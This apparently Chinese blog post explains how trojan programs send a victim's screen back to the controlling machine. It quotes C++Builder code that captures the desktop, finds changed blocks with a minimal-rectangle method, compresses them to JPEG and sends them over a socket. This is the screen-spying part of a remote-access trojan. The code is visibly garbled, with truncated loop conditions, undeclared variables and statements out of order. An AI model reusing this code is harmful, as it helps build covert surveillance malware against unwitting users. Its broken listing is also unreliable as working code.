很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:
#define MAXXCount 10 //屏幕X方向最多分割块数 #define MAXYCount 5 //... Y................ #define DestNum 1000 //每块的偏移检测点最大个数 COLORREF Colors[MAXXCount][MAXYCount][DestNum]; COLORREF BakColors[MAXXCount]{MAXYCount][DestNum]; TPoint Dests[DestNum]; int Sw; int Sh; int xCount; int yCount; int ItemWidth; int ItemHeight; int Dnum; int Qlity; //得到消息后执行: //另外:接收到的数据包中分析出 Dnum ,Qlity //Dnum:偏移观测点数量 //Qlity:图象要求质量 __fastcall TForm1::CopyScreen(int DNum,int Qlity){ ItemWidth=Sw/xCount; ItemHeight=Sh/yCount; Sw=Screen->Width; Sh=Screen->Height; xCount=(Sw>1000)?8:6; yCount=(Sh>1000)?3:2; for (int num1=0;num1 Dests[num1].x=random(ItemWidth); Dests[num1].y=random(ItemHeight); } CatchScreen(DNum,Qlity); } //收到刷屏消息后只执行: CatchScreen(DNum,Qlity); __fastcall TForm1::CatchScreen(int DNum,int Qlity){ //函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据 //DNum: 偏移量 Qlity:图象质量 HDC dc=GetDC(GetDesktopWindow()); Graphics::TBitmap *bm=new Graphics::TBitmap; bm->Width=Sw; bm->Height=Sh; BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0); int num1,num2,num3; int nowx,nowy; bool Change; bool ItemChange[MAXXCount][MAXYCount]; for (num1=0;num1 nowx=ItemWidth*num1; for (num2=0;num2 nowy=ItemHeight*num2; Change=false; for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y]; if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){ BakColors[num1][num2][num3]=Colors[num1][num2][num3]; ItemChange[num1][num2]=true; } } } }
int CNum,MaxCNum; int ChangedNum=0; TRect *Rect; int num4; int MinSize=10000; int m; TRect MinRect; Graphics::TBitmap *bt2=new Graphics::TBitmap; TJPEGImage *j=new TJPEGImage; //************************ j->Quality=Qlity; //************************ CopyScreenUint CopyScreen; CopyScreenItemUint CopyScreenItem; TMemoryStream *ms=new TMemoryStream; ms->Write(&TcpMsg,sizeof(TcpMsgUint)); ms->Write(&CopyScreen,sizeof(CopyScreenUint)); do{ for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){ MaxCNum=0; for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形 CNum=GetChangedNum(TRect(num1,num2,num3,num4)); if (CNum>MaxCNum) MaxCNum=CNum; m=(num3-num1)*(num4-num2); if (2*m-CNum MinSize=2*m-CNum; MinRect=TRect(num1,num2,num3,num4); } } } TMemoryStream *ms; BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0); j->Assign(bt2); j->SaveToStream(ms2); CopyScreenItem.Rect=TRect(num1,num2,num3,num4); CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1 ms2->Position=0; CopyScreenItem.Length=ms2->Size; ms->Write(&CopyScreenItem,sizeof(ScreenItemUint)); ms->CopyFrom(ms2,ms2->Size); ChangedNum++; }while(MaxCNum>0); TcpMsg.Type=MsgCopyScreen; ms->Position=0; TcpMsg.Length=ms->Size-sizeof(TcpMsgUint); CopyScreen.Count=ChangedNum; ms->Write(&TcpMsg,sizeof(TcpMsgUint)); ms->Write(&CopyScreen,sizeof(CopyScreenUInt)); ms->Position=0; sock->SendStream(ms); }
这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。  
|